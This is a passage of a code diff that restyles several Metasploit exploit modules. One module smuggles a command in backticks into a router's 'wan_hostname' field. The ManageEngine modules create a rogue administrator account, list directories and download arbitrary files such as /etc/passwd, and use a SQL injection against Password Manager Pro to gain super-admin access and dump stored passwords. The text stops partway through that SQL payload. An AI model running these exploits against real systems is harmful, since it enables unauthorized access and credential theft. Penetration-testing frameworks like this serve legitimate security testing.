||||
'daylight_time' => "1",
|
||||
'lan_ipaddr' => "4",
|
||||
'wait_time' => "0",
|
||||
'need_reboot' => "0",
|
||||
'ui_language' => "de",
|
||||
'wan_proto' => "dhcp",
|
||||
'router_name' => "#{routername}",
|
||||
'submit_button' => 'index',
|
||||
'change_action' => '1',
|
||||
'submit_type' => '1',
|
||||
'action' => 'Apply',
|
||||
'now_proto' => 'dhcp',
|
||||
'daylight_time' => '1',
|
||||
'lan_ipaddr' => '4',
|
||||
'wait_time' => '0',
|
||||
'need_reboot' => '0',
|
||||
'ui_language' => 'de',
|
||||
'wan_proto' => 'dhcp',
|
||||
'router_name' => routername.to_s,
|
||||
'wan_hostname' => "`#{cmd}`",
|
||||
'wan_domain' => "#{wandomain}",
|
||||
'mtu_enable' => "1",
|
||||
'wan_mtu' => "#{wanmtu}",
|
||||
'lan_ipaddr_0' => "#{ip[0]}",
|
||||
'lan_ipaddr_1' => "#{ip[1]}",
|
||||
'lan_ipaddr_2' => "#{ip[2]}",
|
||||
'lan_ipaddr_3' => "#{ip[3]}",
|
||||
'lan_netmask' => "#{netmask}",
|
||||
'lan_proto' => "dhcp",
|
||||
'dhcp_check' => "1",
|
||||
'dhcp_start' => "100",
|
||||
'dhcp_num' => "50",
|
||||
'dhcp_lease' => "0",
|
||||
'wan_dns' => "4",
|
||||
'wan_dns0_0' => "0",
|
||||
'wan_dns0_1' => "0",
|
||||
'wan_dns0_2' => "0",
|
||||
'wan_dns0_3' => "0",
|
||||
'wan_dns1_0' => "0",
|
||||
'wan_dns1_1' => "0",
|
||||
'wan_dns1_2' => "0",
|
||||
'wan_dns1_3' => "0",
|
||||
'wan_dns2_0' => "0",
|
||||
'wan_dns2_1' => "0",
|
||||
'wan_dns2_2' => "0",
|
||||
'wan_dns2_3' => "0",
|
||||
'wan_wins' => "4",
|
||||
'wan_wins_0' => "0",
|
||||
'wan_wins_1' => "0",
|
||||
'wan_wins_2' => "0",
|
||||
'wan_wins_3' => "0",
|
||||
'time_zone' => "-08+1+1",
|
||||
'wan_domain' => wandomain.to_s,
|
||||
'mtu_enable' => '1',
|
||||
'wan_mtu' => wanmtu.to_s,
|
||||
'lan_ipaddr_0' => (ip[0]).to_s,
|
||||
'lan_ipaddr_1' => (ip[1]).to_s,
|
||||
'lan_ipaddr_2' => (ip[2]).to_s,
|
||||
'lan_ipaddr_3' => (ip[3]).to_s,
|
||||
'lan_netmask' => netmask.to_s,
|
||||
'lan_proto' => 'dhcp',
|
||||
'dhcp_check' => '1',
|
||||
'dhcp_start' => '100',
|
||||
'dhcp_num' => '50',
|
||||
'dhcp_lease' => '0',
|
||||
'wan_dns' => '4',
|
||||
'wan_dns0_0' => '0',
|
||||
'wan_dns0_1' => '0',
|
||||
'wan_dns0_2' => '0',
|
||||
'wan_dns0_3' => '0',
|
||||
'wan_dns1_0' => '0',
|
||||
'wan_dns1_1' => '0',
|
||||
'wan_dns1_2' => '0',
|
||||
'wan_dns1_3' => '0',
|
||||
'wan_dns2_0' => '0',
|
||||
'wan_dns2_1' => '0',
|
||||
'wan_dns2_2' => '0',
|
||||
'wan_dns2_3' => '0',
|
||||
'wan_wins' => '4',
|
||||
'wan_wins_0' => '0',
|
||||
'wan_wins_1' => '0',
|
||||
'wan_wins_2' => '0',
|
||||
'wan_wins_3' => '0',
|
||||
'time_zone' => '-08+1+1',
|
||||
'_daylight_time' => '1'
|
||||
}
|
||||
})
|
||||
|
@ -186,13 +189,12 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return :abort
|
||||
end
|
||||
|
||||
if res and res.code == 200
|
||||
print_status("Blind Exploitation - Response expected")
|
||||
if res && (res.code == 200)
|
||||
print_status('Blind Exploitation - Response expected')
|
||||
else
|
||||
print_error("Blind Exploitation - Response don't expected")
|
||||
end
|
||||
print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed")
|
||||
print_status("Blind Exploitation - unknown Exploitation state")
|
||||
print_status('Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed')
|
||||
print_status('Blind Exploitation - unknown Exploitation state')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -8,72 +8,74 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
|
||||
'Description' => %q{
|
||||
This module exploits an administrator account creation vulnerability in Desktop Central
|
||||
from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
|
||||
several versions of Desktop Central (including MSP) from v7 onwards.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ManageEngine Desktop Central Administrator Account Creation',
|
||||
'Description' => %q{
|
||||
This module exploits an administrator account creation vulnerability in Desktop Central
|
||||
from v7 onwards by sending a crafted request to DCPluginServelet. It has been tested in
|
||||
several versions of Desktop Central (including MSP) from v7 onwards.
|
||||
},
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2014-7862'],
|
||||
['OSVDB', '116554'],
|
||||
['URL', 'https://seclists.org/fulldisclosure/2015/Jan/2'],
|
||||
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_dc9_admin.txt'],
|
||||
],
|
||||
'DisclosureDate' => '2014-12-31'))
|
||||
'DisclosureDate' => '2014-12-31'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'The target port', 8020]),
|
||||
OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),
|
||||
OptString.new('TARGETURI', [ true, 'ManageEngine Desktop Central URI', '/']),
|
||||
OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
|
||||
OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
|
||||
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
# Generate password hash
|
||||
salt = Time.now.to_i.to_s
|
||||
password_encoded = Rex::Text.encode_base64([Rex::Text.md5(datastore['PASSWORD'] + salt)].pack('H*'))
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "/servlets/DCPluginServelet"),
|
||||
'method' =>'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/servlets/DCPluginServelet'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'action' => 'addPlugInUser',
|
||||
'role' => 'DCAdmin',
|
||||
'userName' => datastore['USERNAME'],
|
||||
'email' => datastore['EMAIL'],
|
||||
'phNumber' => Rex::Text.rand_text_numeric(6),
|
||||
'password' => password_encoded,
|
||||
'salt' => salt,
|
||||
'action' => 'addPlugInUser',
|
||||
'role' => 'DCAdmin',
|
||||
'userName' => datastore['USERNAME'],
|
||||
'email' => datastore['EMAIL'],
|
||||
'phNumber' => Rex::Text.rand_text_numeric(6),
|
||||
'password' => password_encoded,
|
||||
'salt' => salt,
|
||||
'createdtime' => salt
|
||||
}
|
||||
})
|
||||
|
||||
# Yes, "sucess" is really mispelt, as is "Servelet" ... !
|
||||
unless res && res.code == 200 && res.body && res.body.to_s =~ /sucess/
|
||||
print_error("Administrator account creation failed")
|
||||
print_error('Administrator account creation failed')
|
||||
end
|
||||
|
||||
print_good("Created Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
connection_details = {
|
||||
module_fullname: self.fullname,
|
||||
username: datastore['USERNAME'],
|
||||
private_data: datastore['PASSWORD'],
|
||||
private_type: :password,
|
||||
workspace_id: myworkspace_id,
|
||||
access_level: 'Administrator',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
module_fullname: fullname,
|
||||
username: datastore['USERNAME'],
|
||||
private_data: datastore['PASSWORD'],
|
||||
private_type: :password,
|
||||
workspace_id: myworkspace_id,
|
||||
access_level: 'Administrator',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
create_credential_and_login(connection_details)
|
||||
end
|
||||
|
|
|
@ -7,47 +7,50 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ManageEngine Multiple Products Arbitrary Directory Listing",
|
||||
'Description' => %q{
|
||||
This module exploits a directory listing information disclosure vulnerability in the
|
||||
FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It
|
||||
makes a recursive listing, so it will list the whole drive if you ask it to list / in
|
||||
Linux or C:\ in Windows. This vulnerability is unauthenticated on OpManager and
|
||||
Applications Manager, but authenticated in IT360. This module will attempt to login
|
||||
using the default credentials for the administrator and guest accounts; alternatively
|
||||
you can provide a pre-authenticated cookie or a username / password combo. For IT360
|
||||
targets enter the RPORT of the OpManager instance (usually 8300). This module has been
|
||||
tested on both Windows and Linux with several different versions. Windows paths have to
|
||||
be escaped with 4 backslashes on the command line. There is a companion module that
|
||||
allows for arbitrary file download. This vulnerability has been fixed in Applications
|
||||
Manager v11.9 b11912 and OpManager 11.6.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ManageEngine Multiple Products Arbitrary Directory Listing',
|
||||
'Description' => %q{
|
||||
This module exploits a directory listing information disclosure vulnerability in the
|
||||
FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. It
|
||||
makes a recursive listing, so it will list the whole drive if you ask it to list / in
|
||||
Linux or C:\ in Windows. This vulnerability is unauthenticated on OpManager and
|
||||
Applications Manager, but authenticated in IT360. This module will attempt to login
|
||||
using the default credentials for the administrator and guest accounts; alternatively
|
||||
you can provide a pre-authenticated cookie or a username / password combo. For IT360
|
||||
targets enter the RPORT of the OpManager instance (usually 8300). This module has been
|
||||
tested on both Windows and Linux with several different versions. Windows paths have to
|
||||
be escaped with 4 backslashes on the command line. There is a companion module that
|
||||
allows for arbitrary file download. This vulnerability has been fixed in Applications
|
||||
Manager v11.9 b11912 and OpManager 11.6.
|
||||
},
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2014-7863'],
|
||||
['OSVDB', '117696'],
|
||||
['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'],
|
||||
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt']
|
||||
],
|
||||
'DisclosureDate' => '2015-01-28'))
|
||||
'DisclosureDate' => '2015-01-28'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']),
|
||||
OptString.new('TARGETURI', [true, 'The base path to OpManager, AppManager or IT360', '/']),
|
||||
OptString.new('DIRECTORY', [true, 'Path of the directory to list', '/etc/']),
|
||||
OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
|
||||
OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
|
||||
OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
|
||||
OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def post_auth?
|
||||
|
@ -70,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def detect_it360
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
|
@ -90,7 +93,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
cookie = res.get_cookies
|
||||
|
||||
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
|
||||
return $1
|
||||
return ::Regexp.last_match(1)
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
@ -117,14 +120,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'method' => 'POST',
|
||||
'uri' => normalize_uri(path),
|
||||
'vars_get' => {
|
||||
'service' => "OpManager",
|
||||
'furl' => "/",
|
||||
'service' => 'OpManager',
|
||||
'furl' => '/',
|
||||
'timestamp' => Time.now.to_i
|
||||
},
|
||||
'vars_post' => vars_post
|
||||
})
|
||||
|
||||
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
|
||||
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=(\w{9,})/
|
||||
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
|
||||
return res.get_cookies
|
||||
end
|
||||
|
@ -132,7 +135,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
nil
|
||||
end
|
||||
|
||||
|
||||
def login_it360
|
||||
# Do we already have a valid cookie? If yes, just return that.
|
||||
unless datastore['IAMAGENTTICKET'].nil?
|
||||
|
@ -182,14 +184,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if detect_it360
|
||||
print_status("Detected IT360, attempting to login...")
|
||||
print_status('Detected IT360, attempting to login...')
|
||||
cookie = login_it360
|
||||
else
|
||||
cookie = get_cookie
|
||||
end
|
||||
|
||||
if cookie.nil?
|
||||
print_error("Failed to get application cookies!")
|
||||
print_error('Failed to get application cookies!')
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -197,7 +199,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet)
|
||||
})
|
||||
if res && res.code == 404
|
||||
servlet = 'FailOverHelperServlet'
|
||||
|
@ -216,7 +218,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
}
|
||||
})
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("Could not connect.")
|
||||
print_error('Could not connect.')
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -234,7 +236,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
)
|
||||
print_good("File with directory listing saved in: #{path}")
|
||||
else
|
||||
print_error("Failed to list directory.")
|
||||
print_error('Failed to list directory.')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -7,45 +7,48 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "ManageEngine Multiple Products Arbitrary File Download",
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet
|
||||
on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is
|
||||
unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This
|
||||
module will attempt to login using the default credentials for the administrator and
|
||||
guest accounts; alternatively you can provide a pre-authenticated cookie or a username
|
||||
and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually
|
||||
8300). This module has been tested on both Windows and Linux with several different
|
||||
versions. Windows paths have to be escaped with 4 backslashes on the command line. There is
|
||||
a companion module that allows the recursive listing of any directory. This
|
||||
vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ManageEngine Multiple Products Arbitrary File Download',
|
||||
'Description' => %q{
|
||||
This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet
|
||||
on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is
|
||||
unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This
|
||||
module will attempt to login using the default credentials for the administrator and
|
||||
guest accounts; alternatively you can provide a pre-authenticated cookie or a username
|
||||
and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually
|
||||
8300). This module has been tested on both Windows and Linux with several different
|
||||
versions. Windows paths have to be escaped with 4 backslashes on the command line. There is
|
||||
a companion module that allows the recursive listing of any directory. This
|
||||
vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
|
||||
},
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2014-7863'],
|
||||
['OSVDB', '117695'],
|
||||
['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'],
|
||||
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt']
|
||||
],
|
||||
'DisclosureDate' => '2015-01-28'))
|
||||
'DisclosureDate' => '2015-01-28'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']),
|
||||
OptString.new('TARGETURI', [true, 'The base path to OpManager, AppManager or IT360', '/']),
|
||||
OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
|
||||
OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
|
||||
OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
|
||||
OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
|
||||
OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def post_auth?
|
||||
|
@ -68,7 +71,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def detect_it360
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
|
@ -88,7 +91,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
cookie = res.get_cookies
|
||||
|
||||
if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
|
||||
return $1
|
||||
return ::Regexp.last_match(1)
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
@ -120,9 +123,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'timestamp' => Time.now.to_i
|
||||
},
|
||||
'vars_post' => vars_post
|
||||
})
|
||||
})
|
||||
|
||||
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
|
||||
if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=(\w{9,})/
|
||||
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
|
||||
return res.get_cookies
|
||||
end
|
||||
|
@ -179,10 +182,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
if detect_it360
|
||||
print_status("Detected IT360, attempting to login...")
|
||||
print_status('Detected IT360, attempting to login...')
|
||||
cookie = login_it360
|
||||
if cookie.nil?
|
||||
print_error("Failed to login to IT360!")
|
||||
print_error('Failed to login to IT360!')
|
||||
return
|
||||
end
|
||||
else
|
||||
|
@ -193,7 +196,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet)
|
||||
})
|
||||
if res && res.code == 404
|
||||
servlet = 'FailOverHelperServlet'
|
||||
|
@ -212,7 +215,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
}
|
||||
})
|
||||
rescue Rex::ConnectionRefused
|
||||
print_error("Could not connect.")
|
||||
print_error('Could not connect.')
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -220,7 +223,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
if res && res.code == 200
|
||||
|
||||
if res.body.to_s.bytesize == 0
|
||||
print_error("0 bytes returned, file does not exist or is empty.")
|
||||
print_error('0 bytes returned, file does not exist or is empty.')
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -236,7 +239,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
)
|
||||
print_good("File saved in: #{path}")
|
||||
else
|
||||
print_error("Failed to download file.")
|
||||
print_error('Failed to download file.')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,33 +8,35 @@ class MetasploitModule < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',
|
||||
'Description' => %q{
|
||||
ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection
|
||||
vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate
|
||||
privileges and obtain Super Administrator access. A Super Administrator can then
|
||||
use his privileges to dump the whole password database in CSV format. PMP can use
|
||||
both MySQL and PostgreSQL databases but this module only exploits the latter as
|
||||
MySQL does not support stacked queries with Java. PostgreSQL is the default database
|
||||
in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,
|
||||
so a higher version does not guarantee exploitability. This module has been tested
|
||||
on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in
|
||||
v7.1 build 7105 and above.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',
|
||||
'Description' => %q{
|
||||
ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection
|
||||
vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate
|
||||
privileges and obtain Super Administrator access. A Super Administrator can then
|
||||
use his privileges to dump the whole password database in CSV format. PMP can use
|
||||
both MySQL and PostgreSQL databases but this module only exploits the latter as
|
||||
MySQL does not support stacked queries with Java. PostgreSQL is the default database
|
||||
in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,
|
||||
so a higher version does not guarantee exploitability. This module has been tested
|
||||
on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in
|
||||
v7.1 build 7105 and above.
|
||||
},
|
||||
'Author' => [
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
[ 'CVE', '2014-8499' ],
|
||||
[ 'OSVDB', '114485' ],
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/18' ],
|
||||
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt' ],
|
||||
],
|
||||
'DisclosureDate' => '2014-11-08'))
|
||||
'DisclosureDate' => '2014-11-08'
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
|
@ -42,11 +44,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
OptString.new('USERNAME', [true, 'The username to login as', 'guest']),
|
||||
OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']),
|
||||
OptString.new('TARGETURI', [ true, "Password Manager Pro application URI", '/'])
|
||||
])
|
||||
OptString.new('TARGETURI', [ true, 'Password Manager Pro application URI', '/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
def login(username, password)
|
||||
# 1st step: we obtain a JSESSIONID cookie...
|
||||
res = send_request_cgi({
|
||||
|
@ -56,14 +58,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
if res && res.code == 200
|
||||
# 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)
|
||||
if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w]*)"/
|
||||
orgn_name = $1
|
||||
if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="(\w*)"/
|
||||
orgn_name = ::Regexp.last_match(1)
|
||||
else
|
||||
orgn_name = nil
|
||||
end
|
||||
|
||||
if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w]*)"/
|
||||
authrule_name = $1
|
||||
if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="(\w*)"/
|
||||
authrule_name = ::Regexp.last_match(1)
|
||||
else
|
||||
authrule_name = nil
|
||||
end
|
||||
|
@ -73,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'),
|
||||
'ctype' => "application/x-www-form-urlencoded",
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'RequestType' => 'GetUserDomainName',
|
||||
|
@ -89,9 +91,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies.
|
||||
# For some reason send_request_cgi! doesn't work, so follow the redirect manually...
|
||||
vars_post = {
|
||||
'j_username' => username,
|
||||
'username' => username,
|
||||
'j_password' => password
|
||||
'j_username' => username,
|
||||
'username' => username,
|
||||
'j_password' => password
|
||||
}
|
||||
vars_post['ORGN_NAME'] = orgn_name if orgn_name
|
||||
vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name
|
||||
|
@ -99,8 +101,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';','')),
|
||||
'ctype' => "application/x-www-form-urlencoded",
|
||||
'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';', '')),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => vars_post
|
||||
})
|
||||
|
@ -108,7 +110,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'),
|
||||
'cookie' => cookie,
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
|
@ -120,102 +122,98 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return nil
|
||||
end
|
||||
|
||||
|
||||
def inject_sql(old_style)
|
||||
# On versions older than 7000 the injection is slightly different (we call it "old style").
|
||||
# For "new style" versions we can escalate to super admin by doing
|
||||
# "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);"
|
||||
# However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions.
|
||||
if old_style
|
||||
sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";"
|
||||
sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';'
|
||||
else
|
||||
